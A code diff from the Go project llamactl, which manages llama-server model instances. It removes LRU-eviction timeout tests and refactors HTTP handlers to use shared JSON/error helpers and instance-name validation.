-		if inst.GetOptions() != nil && inst.GetOptions().IdleTimeout != nil && *inst.GetOptions().IdleTimeout <= 0 {
-			continue // Skip instances without idle timeout
-		}
-
-		if lruInstance == nil {
-			lruInstance = inst
-		}
-
-		if inst.LastRequestTime() < lruInstance.LastRequestTime() {
-			lruInstance = inst
-		}
-	}
-	im.mu.RUnlock()
-
-	if lruInstance == nil {
-		return fmt.Errorf("failed to find lru instance")
-	}
-
-	// Evict Instance
-	_, err := im.StopInstance(lruInstance.Name)
-	return err
-}

pkg/manager/timeout_test.go

@@ -1,328 +0,0 @@
-package manager_test
-
-import (
-	"llamactl/pkg/backends"
-	"llamactl/pkg/backends/llamacpp"
-	"llamactl/pkg/config"
-	"llamactl/pkg/instance"
-	"llamactl/pkg/manager"
-	"sync"
-	"testing"
-	"time"
-)
-
-func TestTimeoutFunctionality(t *testing.T) {
-	// Test timeout checker initialization
-	cfg := config.InstancesConfig{
-		PortRange:            [2]int{8000, 9000},
-		TimeoutCheckInterval: 10,
-		MaxInstances:         5,
-	}
-
-	manager := manager.NewInstanceManager(cfg)
-	if manager == nil {
-		t.Fatal("Manager should be initialized with timeout checker")
-	}
-	manager.Shutdown() // Clean up
-
-	// Test timeout configuration and logic without starting the actual process
-	testManager := createTestManager()
-	defer testManager.Shutdown()
-
-	idleTimeout := 1 // 1 minute
-	options := &instance.CreateInstanceOptions{
-		IdleTimeout: &idleTimeout,
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	inst, err := testManager.CreateInstance("timeout-test", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Test timeout configuration is properly set
-	if inst.GetOptions().IdleTimeout == nil {
-		t.Fatal("Instance should have idle timeout configured")
-	}
-	if *inst.GetOptions().IdleTimeout != 1 {
-		t.Errorf("Expected idle timeout 1 minute, got %d", *inst.GetOptions().IdleTimeout)
-	}
-
-	// Test timeout logic without actually starting the process
-	// Create a mock time provider to simulate timeout
-	mockTime := NewMockTimeProvider(time.Now())
-	inst.SetTimeProvider(mockTime)
-
-	// Set instance to running state so timeout logic can work
-	inst.SetStatus(instance.Running)
-
-	// Simulate instance being "running" for timeout check (without actual process)
-	// We'll test the ShouldTimeout logic directly
-	inst.UpdateLastRequestTime()
-
-	// Initially should not timeout (just updated)
-	if inst.ShouldTimeout() {
-		t.Error("Instance should not timeout immediately after request")
-	}
-
-	// Advance time to trigger timeout
-	mockTime.SetTime(time.Now().Add(2 * time.Minute))
-
-	// Now it should timeout
-	if !inst.ShouldTimeout() {
-		t.Error("Instance should timeout after idle period")
-	}
-
-	// Reset running state to avoid shutdown issues
-	inst.SetStatus(instance.Stopped)
-
-	// Test that instance without timeout doesn't timeout
-	noTimeoutOptions := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-		// No IdleTimeout set
-	}
-
-	noTimeoutInst, err := testManager.CreateInstance("no-timeout-test", noTimeoutOptions)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	noTimeoutInst.SetTimeProvider(mockTime)
-	noTimeoutInst.SetStatus(instance.Running) // Set to running for timeout check
-	noTimeoutInst.UpdateLastRequestTime()
-
-	// Even with time advanced, should not timeout
-	if noTimeoutInst.ShouldTimeout() {
-		t.Error("Instance without timeout configuration should never timeout")
-	}
-
-	// Reset running state to avoid shutdown issues
-	noTimeoutInst.SetStatus(instance.Stopped)
-}
-
-func TestEvictLRUInstance_Success(t *testing.T) {
-	manager := createTestManager()
-	// Don't defer manager.Shutdown() - we'll handle cleanup manually
-
-	// Create 3 instances with idle timeout enabled (value doesn't matter for LRU logic)
-	options1 := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model1.gguf",
-		},
-		IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
-	}
-	options2 := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model2.gguf",
-		},
-		IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
-	}
-	options3 := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model3.gguf",
-		},
-		IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
-	}
-
-	inst1, err := manager.CreateInstance("instance-1", options1)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-	inst2, err := manager.CreateInstance("instance-2", options2)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-	inst3, err := manager.CreateInstance("instance-3", options3)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Set up mock time and set instances to running
-	mockTime := NewMockTimeProvider(time.Now())
-	inst1.SetTimeProvider(mockTime)
-	inst2.SetTimeProvider(mockTime)
-	inst3.SetTimeProvider(mockTime)
-
-	inst1.SetStatus(instance.Running)
-	inst2.SetStatus(instance.Running)
-	inst3.SetStatus(instance.Running)
-
-	// Set different last request times (oldest to newest)
-	// inst1: oldest (will be evicted)
-	inst1.UpdateLastRequestTime()
-
-	mockTime.SetTime(mockTime.Now().Add(1 * time.Minute))
-	inst2.UpdateLastRequestTime()
-
-	mockTime.SetTime(mockTime.Now().Add(1 * time.Minute))
-	inst3.UpdateLastRequestTime()
-
-	// Evict LRU instance (should be inst1)
-	err = manager.EvictLRUInstance()
-	if err != nil {
-		t.Fatalf("EvictLRUInstance failed: %v", err)
-	}
-
-	// Verify inst1 is stopped
-	if inst1.IsRunning() {
-		t.Error("Expected instance-1 to be stopped after eviction")
-	}
-
-	// Verify inst2 and inst3 are still running
-	if !inst2.IsRunning() {
-		t.Error("Expected instance-2 to still be running")
-	}
-	if !inst3.IsRunning() {
-		t.Error("Expected instance-3 to still be running")
-	}
-
-	// Clean up manually - set all to stopped and then shutdown
-	inst2.SetStatus(instance.Stopped)
-	inst3.SetStatus(instance.Stopped)
-}
-
-func TestEvictLRUInstance_NoEligibleInstances(t *testing.T) {
-	// Helper function to create instances with different timeout configurations
-	createInstanceWithTimeout := func(manager manager.InstanceManager, name, model string, timeout *int) *instance.Process {
-		options := &instance.CreateInstanceOptions{
-			BackendType: backends.BackendTypeLlamaCpp,
-			LlamaServerOptions: &llamacpp.LlamaServerOptions{
-				Model: model,
-			},
-			IdleTimeout: timeout,
-		}
-		inst, err := manager.CreateInstance(name, options)
-		if err != nil {
-			t.Fatalf("CreateInstance failed: %v", err)
-		}
-		return inst
-	}
-
-	t.Run("no running instances", func(t *testing.T) {
-		manager := createTestManager()
-		defer manager.Shutdown()
-
-		err := manager.EvictLRUInstance()
-		if err == nil {
-			t.Error("Expected error when no running instances exist")
-		}
-		if err.Error() != "failed to find lru instance" {
-			t.Errorf("Expected 'failed to find lru instance' error, got: %v", err)
-		}
-	})
-
-	t.Run("only instances without timeout", func(t *testing.T) {
-		manager := createTestManager()
-		defer manager.Shutdown()
-
-		// Create instances with various non-eligible timeout configurations
-		zeroTimeout := 0
-		negativeTimeout := -1
-		inst1 := createInstanceWithTimeout(manager, "no-timeout-1", "/path/to/model1.gguf", &zeroTimeout)
-		inst2 := createInstanceWithTimeout(manager, "no-timeout-2", "/path/to/model2.gguf", &negativeTimeout)
-		inst3 := createInstanceWithTimeout(manager, "no-timeout-3", "/path/to/model3.gguf", nil)
-
-		// Set instances to running
-		instances := []*instance.Process{inst1, inst2, inst3}
-		for _, inst := range instances {
-			inst.SetStatus(instance.Running)
-		}
-		defer func() {
-			// Reset instances to stopped to avoid shutdown panics
-			for _, inst := range instances {
-				inst.SetStatus(instance.Stopped)
-			}
-		}()
-
-		// Try to evict - should fail because no eligible instances
-		err := manager.EvictLRUInstance()
-		if err == nil {
-			t.Error("Expected error when no eligible instances exist")
-		}
-		if err.Error() != "failed to find lru instance" {
-			t.Errorf("Expected 'failed to find lru instance' error, got: %v", err)
-		}
-
-		// Verify all instances are still running
-		for i, inst := range instances {
-			if !inst.IsRunning() {
-				t.Errorf("Expected instance %d to still be running", i+1)
-			}
-		}
-	})
-
-	t.Run("mixed instances - evicts only eligible ones", func(t *testing.T) {
-		manager := createTestManager()
-		defer manager.Shutdown()
-
-		// Create mix of instances: some with timeout enabled, some disabled
-		validTimeout := 1
-		zeroTimeout := 0
-		instWithTimeout := createInstanceWithTimeout(manager, "with-timeout", "/path/to/model-with-timeout.gguf", &validTimeout)
-		instNoTimeout1 := createInstanceWithTimeout(manager, "no-timeout-1", "/path/to/model-no-timeout1.gguf", &zeroTimeout)
-		instNoTimeout2 := createInstanceWithTimeout(manager, "no-timeout-2", "/path/to/model-no-timeout2.gguf", nil)
-
-		// Set all instances to running
-		instances := []*instance.Process{instWithTimeout, instNoTimeout1, instNoTimeout2}
-		for _, inst := range instances {
-			inst.SetStatus(instance.Running)
-			inst.UpdateLastRequestTime()
-		}
-		defer func() {
-			// Reset instances to stopped to avoid shutdown panics
-			for _, inst := range instances {
-				if inst.IsRunning() {
-					inst.SetStatus(instance.Stopped)
-				}
-			}
-		}()
-
-		// Evict LRU instance - should only consider the one with timeout
-		err := manager.EvictLRUInstance()
-		if err != nil {
-			t.Fatalf("EvictLRUInstance failed: %v", err)
-		}
-
-		// Verify only the instance with timeout was evicted
-		if instWithTimeout.IsRunning() {
-			t.Error("Expected with-timeout instance to be stopped after eviction")
-		}
-		if !instNoTimeout1.IsRunning() {
-			t.Error("Expected no-timeout-1 instance to still be running")
-		}
-		if !instNoTimeout2.IsRunning() {
-			t.Error("Expected no-timeout-2 instance to still be running")
-		}
-	})
-}
-
-// Helper for timeout tests
-type MockTimeProvider struct {
-	currentTime time.Time
-	mu          sync.RWMutex
-}
-
-func NewMockTimeProvider(t time.Time) *MockTimeProvider {
-	return &MockTimeProvider{currentTime: t}
-}
-
-func (m *MockTimeProvider) Now() time.Time {
-	m.mu.RLock()
-	defer m.mu.RUnlock()
-	return m.currentTime
-}
-
-func (m *MockTimeProvider) SetTime(t time.Time) {
-	m.mu.Lock()
-	defer m.mu.Unlock()
-	m.currentTime = t
-}

pkg/server/handlers.go

@@ -1,631 +1,115 @@
 package server
 
 import (
-	"bytes"
 	"encoding/json"
 	"fmt"
-	"io"
 	"llamactl/pkg/config"
 	"llamactl/pkg/instance"
 	"llamactl/pkg/manager"
+	"llamactl/pkg/validation"
+	"log"
 	"net/http"
-	"os/exec"
-	"strconv"
-	"strings"
+	"time"
 
 	"github.com/go-chi/chi/v5"
 )
 
+// errorResponse represents an error response returned by the API
+type errorResponse struct {
+	Error   string `json:"error"`
+	Details string `json:"details,omitempty"`
+}
+
+// writeError writes a JSON error response with the specified HTTP status code
+func writeError(w http.ResponseWriter, status int, code, details string) {
+	w.Header().Set("Content-Type", "application/json")
+	w.WriteHeader(status)
+	if err := json.NewEncoder(w).Encode(errorResponse{Error: code, Details: details}); err != nil {
+		log.Printf("Failed to encode error response: %v", err)
+	}
+}
+
+// writeJSON writes a JSON response with the specified HTTP status code
+func writeJSON(w http.ResponseWriter, status int, data any) {
+	w.Header().Set("Content-Type", "application/json")
+	w.WriteHeader(status)
+	if err := json.NewEncoder(w).Encode(data); err != nil {
+		log.Printf("Failed to encode JSON response: %v", err)
+	}
+}
+
+// writeText writes a plain text response with the specified HTTP status code
+func writeText(w http.ResponseWriter, status int, data string) {
+	w.Header().Set("Content-Type", "text/plain")
+	w.WriteHeader(status)
+	if _, err := w.Write([]byte(data)); err != nil {
+		log.Printf("Failed to write text response: %v", err)
+	}
+}
+
+// Handler provides HTTP handlers for the llamactl server API
 type Handler struct {
 	InstanceManager manager.InstanceManager
 	cfg             config.AppConfig
+	httpClient      *http.Client
 }
 
+// NewHandler creates a new Handler instance with the provided instance manager and configuration
 func NewHandler(im manager.InstanceManager, cfg config.AppConfig) *Handler {
 	return &Handler{
 		InstanceManager: im,
 		cfg:             cfg,
+		httpClient: &http.Client{
+			Timeout: 30 * time.Second,
+		},
 	}
 }
 
-// VersionHandler godoc
-// @Summary Get llamactl version
-// @Description Returns the version of the llamactl command
-// @Tags version
-// @Security ApiKeyAuth
-// @Produces text/plain
-// @Success 200 {string} string "Version information"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /version [get]
-func (h *Handler) VersionHandler() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		w.Header().Set("Content-Type", "text/plain")
-		fmt.Fprintf(w, "Version: %s\nCommit: %s\nBuild Time: %s\n", h.cfg.Version, h.cfg.CommitHash, h.cfg.BuildTime)
+// getInstance retrieves an instance by name from the request query parameters
+func (h *Handler) getInstance(r *http.Request) (*instance.Instance, error) {
+	name := chi.URLParam(r, "name")
+	validatedName, err := validation.ValidateInstanceName(name)
+	if err != nil {
+		return nil, fmt.Errorf("invalid instance name: %w", err)
 	}
+
+	inst, err := h.InstanceManager.GetInstance(validatedName)
+	if err != nil {
+		return nil, fmt.Errorf("failed to get instance by name: %w", err)
+	}
+
+	return inst, nil
 }
 
-// LlamaServerHelpHandler godoc
-// @Summary Get help for llama server
-// @Description Returns the help text for the llama server command
-// @Tags server
-// @Security ApiKeyAuth
-// @Produces text/plain
-// @Success 200 {string} string "Help text"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /server/help [get]
-func (h *Handler) LlamaServerHelpHandler() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		helpCmd := exec.Command("llama-server", "--help")
-		output, err := helpCmd.CombinedOutput()
-		if err != nil {
-			http.Error(w, "Failed to get help: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-		w.Header().Set("Content-Type", "text/plain")
-		w.Write(output)
+// ensureInstanceRunning ensures the instance is running by starting it if on-demand start is enabled
+// It handles LRU eviction when the maximum number of running instances is reached
+func (h *Handler) ensureInstanceRunning(inst *instance.Instance) error {
+	options := inst.GetOptions()
+	allowOnDemand := options != nil && options.OnDemandStart != nil && *options.OnDemandStart
+	if !allowOnDemand {
+		return fmt.Errorf("instance is not running and on-demand start is not enabled")
 	}
-}
 
-// LlamaServerVersionHandler godoc
-// @Summary Get version of llama server
-// @Description Returns the version of the llama server command
-// @Tags server
-// @Security ApiKeyAuth
-// @Produces text/plain
-// @Success 200 {string} string "Version information"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /server/version [get]
-func (h *Handler) LlamaServerVersionHandler() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		versionCmd := exec.Command("llama-server", "--version")
-		output, err := versionCmd.CombinedOutput()
-		if err != nil {
-			http.Error(w, "Failed to get version: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-		w.Header().Set("Content-Type", "text/plain")
-		w.Write(output)
-	}
-}
-
-// LlamaServerListDevicesHandler godoc
-// @Summary List available devices for llama server
-// @Description Returns a list of available devices for the llama server
-// @Tags server
-// @Security ApiKeyAuth
-// @Produces text/plain
-// @Success 200 {string} string "List of devices"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /server/devices [get]
-func (h *Handler) LlamaServerListDevicesHandler() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		listCmd := exec.Command("llama-server", "--list-devices")
-		output, err := listCmd.CombinedOutput()
-		if err != nil {
-			http.Error(w, "Failed to list devices: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-		w.Header().Set("Content-Type", "text/plain")
-		w.Write(output)
-	}
-}
-
-// ListInstances godoc
-// @Summary List all instances
-// @Description Returns a list of all instances managed by the server
-// @Tags instances
-// @Security ApiKeyAuth
-// @Produces json
-// @Success 200 {array} instance.Process "List of instances"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /instances [get]
-func (h *Handler) ListInstances() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		instances, err := h.InstanceManager.ListInstances()
-		if err != nil {
-			http.Error(w, "Failed to list instances: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		w.Header().Set("Content-Type", "application/json")
-		if err := json.NewEncoder(w).Encode(instances); err != nil {
-			http.Error(w, "Failed to encode instances: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-	}
-}
-
-// CreateInstance godoc
-// @Summary Create and start a new instance
-// @Description Creates a new instance with the provided configuration options
-// @Tags instances
-// @Security ApiKeyAuth
-// @Accept json
-// @Produces json
-// @Param name path string true "Instance Name"
-// @Param options body instance.CreateInstanceOptions true "Instance configuration options"
-// @Success 201 {object} instance.Process "Created instance details"
-// @Failure 400 {string} string "Invalid request body"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /instances/{name} [post]
-func (h *Handler) CreateInstance() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		name := chi.URLParam(r, "name")
-		if name == "" {
-			http.Error(w, "Instance name cannot be empty", http.StatusBadRequest)
-			return
-		}
-
-		var options instance.CreateInstanceOptions
-		if err := json.NewDecoder(r.Body).Decode(&options); err != nil {
-			http.Error(w, "Invalid request body", http.StatusBadRequest)
-			return
-		}
-
-		inst, err := h.InstanceManager.CreateInstance(name, &options)
-		if err != nil {
-			http.Error(w, "Failed to create instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		w.Header().Set("Content-Type", "application/json")
-		w.WriteHeader(http.StatusCreated)
-		if err := json.NewEncoder(w).Encode(inst); err != nil {
-			http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-	}
-}
-
-// GetInstance godoc
-// @Summary Get details of a specific instance
-// @Description Returns the details of a specific instance by name
-// @Tags instances
-// @Security ApiKeyAuth
-// @Produces json
-// @Param name path string true "Instance Name"
-// @Success 200 {object} instance.Process "Instance details"
-// @Failure 400 {string} string "Invalid name format"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /instances/{name} [get]
-func (h *Handler) GetInstance() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		name := chi.URLParam(r, "name")
-		if name == "" {
-			http.Error(w, "Instance name cannot be empty", http.StatusBadRequest)
-			return
-		}
-
-		inst, err := h.InstanceManager.GetInstance(name)
-		if err != nil {
-			http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		w.Header().Set("Content-Type", "application/json")
-		if err := json.NewEncoder(w).Encode(inst); err != nil {
-			http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-	}
-}
-
-// UpdateInstance godoc
-// @Summary Update an instance's configuration
-// @Description Updates the configuration of a specific instance by name
-// @Tags instances
-// @Security ApiKeyAuth
-// @Accept json
-// @Produces json
-// @Param name path string true "Instance Name"
-// @Param options body instance.CreateInstanceOptions true "Instance configuration options"
-// @Success 200 {object} instance.Process "Updated instance details"
-// @Failure 400 {string} string "Invalid name format"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /instances/{name} [put]
-func (h *Handler) UpdateInstance() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		name := chi.URLParam(r, "name")
-		if name == "" {
-			http.Error(w, "Instance name cannot be empty", http.StatusBadRequest)
-			return
-		}
-
-		var options instance.CreateInstanceOptions
-		if err := json.NewDecoder(r.Body).Decode(&options); err != nil {
-			http.Error(w, "Invalid request body", http.StatusBadRequest)
-			return
-		}
-
-		inst, err := h.InstanceManager.UpdateInstance(name, &options)
-		if err != nil {
-			http.Error(w, "Failed to update instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		w.Header().Set("Content-Type", "application/json")
-		if err := json.NewEncoder(w).Encode(inst); err != nil {
-			http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-	}
-}
-
-// StartInstance godoc
-// @Summary Start a stopped instance
-// @Description Starts a specific instance by name
-// @Tags instances
-// @Security ApiKeyAuth
-// @Produces json
-// @Param name path string true "Instance Name"
-// @Success 200 {object} instance.Process "Started instance details"
-// @Failure 400 {string} string "Invalid name format"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /instances/{name}/start [post]
-func (h *Handler) StartInstance() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		name := chi.URLParam(r, "name")
-		if name == "" {
-			http.Error(w, "Instance name cannot be empty", http.StatusBadRequest)
-			return
-		}
-
-		inst, err := h.InstanceManager.StartInstance(name)
-		if err != nil {
-			// Check if error is due to maximum running instances limit
-			if _, ok := err.(manager.MaxRunningInstancesError); ok {
-				http.Error(w, err.Error(), http.StatusConflict)
-				return
+	if h.InstanceManager.IsMaxRunningInstancesReached() {
+		if h.cfg.Instances.EnableLRUEviction {
+			err := h.InstanceManager.EvictLRUInstance()
+			if err != nil {
+				return fmt.Errorf("cannot start instance, failed to evict instance: %w", err)
 			}
-
-			http.Error(w, "Failed to start instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		w.Header().Set("Content-Type", "application/json")
-		if err := json.NewEncoder(w).Encode(inst); err != nil {
-			http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
-			return
+		} else {
+			return fmt.Errorf("cannot start instance, maximum number of instances reached")
 		}
 	}
-}
 
-// StopInstance godoc
-// @Summary Stop a running instance
-// @Description Stops a specific instance by name
-// @Tags instances
-// @Security ApiKeyAuth
-// @Produces json
-// @Param name path string true "Instance Name"
-// @Success 200 {object} instance.Process "Stopped instance details"
-// @Failure 400 {string} string "Invalid name format"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /instances/{name}/stop [post]
-func (h *Handler) StopInstance() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		name := chi.URLParam(r, "name")
-		if name == "" {
-			http.Error(w, "Instance name cannot be empty", http.StatusBadRequest)
-			return
-		}
-
-		inst, err := h.InstanceManager.StopInstance(name)
-		if err != nil {
-			http.Error(w, "Failed to stop instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		w.Header().Set("Content-Type", "application/json")
-		if err := json.NewEncoder(w).Encode(inst); err != nil {
-			http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
+	// If on-demand start is enabled, start the instance
+	if _, err := h.InstanceManager.StartInstance(inst.Name); err != nil {
+		return fmt.Errorf("failed to start instance: %w", err)
 	}
-}
 
-// RestartInstance godoc
-// @Summary Restart a running instance
-// @Description Restarts a specific instance by name
-// @Tags instances
-// @Security ApiKeyAuth
-// @Produces json
-// @Param name path string true "Instance Name"
-// @Success 200 {object} instance.Process "Restarted instance details"
-// @Failure 400 {string} string "Invalid name format"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /instances/{name}/restart [post]
-func (h *Handler) RestartInstance() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		name := chi.URLParam(r, "name")
-		if name == "" {
-			http.Error(w, "Instance name cannot be empty", http.StatusBadRequest)
-			return
-		}
-
-		inst, err := h.InstanceManager.RestartInstance(name)
-		if err != nil {
-			http.Error(w, "Failed to restart instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		w.Header().Set("Content-Type", "application/json")
-		if err := json.NewEncoder(w).Encode(inst); err != nil {
-			http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-	}
-}
-
-// DeleteInstance godoc
-// @Summary Delete an instance
-// @Description Stops and removes a specific instance by name
-// @Tags instances
-// @Security ApiKeyAuth
-// @Param name path string true "Instance Name"
-// @Success 204 "No Content"
-// @Failure 400 {string} string "Invalid name format"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /instances/{name} [delete]
-func (h *Handler) DeleteInstance() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		name := chi.URLParam(r, "name")
-		if name == "" {
-			http.Error(w, "Instance name cannot be empty", http.StatusBadRequest)
-			return
-		}
-
-		if err := h.InstanceManager.DeleteInstance(name); err != nil {
-			http.Error(w, "Failed to delete instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		w.WriteHeader(http.StatusNoContent)
-	}
-}
-
-// GetInstanceLogs godoc
-// @Summary Get logs from a specific instance
-// @Description Returns the logs from a specific instance by name with optional line limit
-// @Tags instances
-// @Security ApiKeyAuth
-// @Param name path string true "Instance Name"
-// @Param lines query string false "Number of lines to retrieve (default: all lines)"
-// @Produces text/plain
-// @Success 200 {string} string "Instance logs"
-// @Failure 400 {string} string "Invalid name format or lines parameter"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /instances/{name}/logs [get]
-func (h *Handler) GetInstanceLogs() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		name := chi.URLParam(r, "name")
-		if name == "" {
-			http.Error(w, "Instance name cannot be empty", http.StatusBadRequest)
-			return
-		}
-
-		lines := r.URL.Query().Get("lines")
-		if lines == "" {
-			lines = "-1"
-		}
-
-		num_lines, err := strconv.Atoi(lines)
-		if err != nil {
-			http.Error(w, "Invalid lines parameter: "+err.Error(), http.StatusBadRequest)
-			return
-		}
-
-		inst, err := h.InstanceManager.GetInstance(name)
-		if err != nil {
-			http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		logs, err := inst.GetLogs(num_lines)
-		if err != nil {
-			http.Error(w, "Failed to get logs: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		w.Header().Set("Content-Type", "text/plain")
-		w.Write([]byte(logs))
-	}
-}
-
-// ProxyToInstance godoc
-// @Summary Proxy requests to a specific instance
-// @Description Forwards HTTP requests to the llama-server instance running on a specific port
-// @Tags instances
-// @Security ApiKeyAuth
-// @Param name path string true "Instance Name"
-// @Success 200 "Request successfully proxied to instance"
-// @Failure 400 {string} string "Invalid name format"
-// @Failure 500 {string} string "Internal Server Error"
-// @Failure 503 {string} string "Instance is not running"
-// @Router /instances/{name}/proxy [get]
-// @Router /instances/{name}/proxy [post]
-func (h *Handler) ProxyToInstance() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		name := chi.URLParam(r, "name")
-		if name == "" {
-			http.Error(w, "Instance name cannot be empty", http.StatusBadRequest)
-			return
-		}
-
-		inst, err := h.InstanceManager.GetInstance(name)
-		if err != nil {
-			http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		if !inst.IsRunning() {
-			http.Error(w, "Instance is not running", http.StatusServiceUnavailable)
-			return
-		}
-
-		// Get the cached proxy for this instance
-		proxy, err := inst.GetProxy()
-		if err != nil {
-			http.Error(w, "Failed to get proxy: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		// Strip the "/api/v1/instances/<name>/proxy" prefix from the request URL
-		prefix := fmt.Sprintf("/api/v1/instances/%s/proxy", name)
-		proxyPath := r.URL.Path[len(prefix):]
-
-		// Ensure the proxy path starts with "/"
-		if !strings.HasPrefix(proxyPath, "/") {
-			proxyPath = "/" + proxyPath
-		}
-
-		// Update the last request time for the instance
-		inst.UpdateLastRequestTime()
-
-		// Modify the request to remove the proxy prefix
-		originalPath := r.URL.Path
-		r.URL.Path = proxyPath
-
-		// Set forwarded headers
-		r.Header.Set("X-Forwarded-Host", r.Header.Get("Host"))
-		r.Header.Set("X-Forwarded-Proto", "http")
-
-		// Restore original path for logging purposes
-		defer func() {
-			r.URL.Path = originalPath
-		}()
-
-		// Forward the request using the cached proxy
-		proxy.ServeHTTP(w, r)
-	}
-}
-
-// OpenAIListInstances godoc
-// @Summary List instances in OpenAI-compatible format
-// @Description Returns a list of instances in a format compatible with OpenAI API
-// @Tags openai
-// @Security ApiKeyAuth
-// @Produces json
-// @Success 200 {object} OpenAIListInstancesResponse "List of OpenAI-compatible instances"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /v1/models [get]
-func (h *Handler) OpenAIListInstances() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		instances, err := h.InstanceManager.ListInstances()
-		if err != nil {
-			http.Error(w, "Failed to list instances: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		openaiInstances := make([]OpenAIInstance, len(instances))
-		for i, inst := range instances {
-			openaiInstances[i] = OpenAIInstance{
-				ID:      inst.Name,
-				Object:  "model",
-				Created: inst.Created,
-				OwnedBy: "llamactl",
-			}
-		}
-
-		openaiResponse := OpenAIListInstancesResponse{
-			Object: "list",
-			Data:   openaiInstances,
-		}
-
-		w.Header().Set("Content-Type", "application/json")
-		if err := json.NewEncoder(w).Encode(openaiResponse); err != nil {
-			http.Error(w, "Failed to encode instances: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-	}
-}
-
-// OpenAIProxy godoc
-// @Summary OpenAI-compatible proxy endpoint
-// @Description Handles all POST requests to /v1/*, routing to the appropriate instance based on the request body. Requires API key authentication via the `Authorization` header.
-// @Tags openai
-// @Security ApiKeyAuth
-// @Accept json
-// @Produces json
-// @Success 200 "OpenAI response"
-// @Failure 400 {string} string "Invalid request body or model name"
-// @Failure 500 {string} string "Internal Server Error"
-// @Router /v1/ [post]
-func (h *Handler) OpenAIProxy() http.HandlerFunc {
-	return func(w http.ResponseWriter, r *http.Request) {
-		// Read the entire body first
-		bodyBytes, err := io.ReadAll(r.Body)
-		if err != nil {
-			http.Error(w, "Failed to read request body", http.StatusBadRequest)
-			return
-		}
-		r.Body.Close()
-
-		// Parse the body to extract model name
-		var requestBody map[string]any
-		if err := json.Unmarshal(bodyBytes, &requestBody); err != nil {
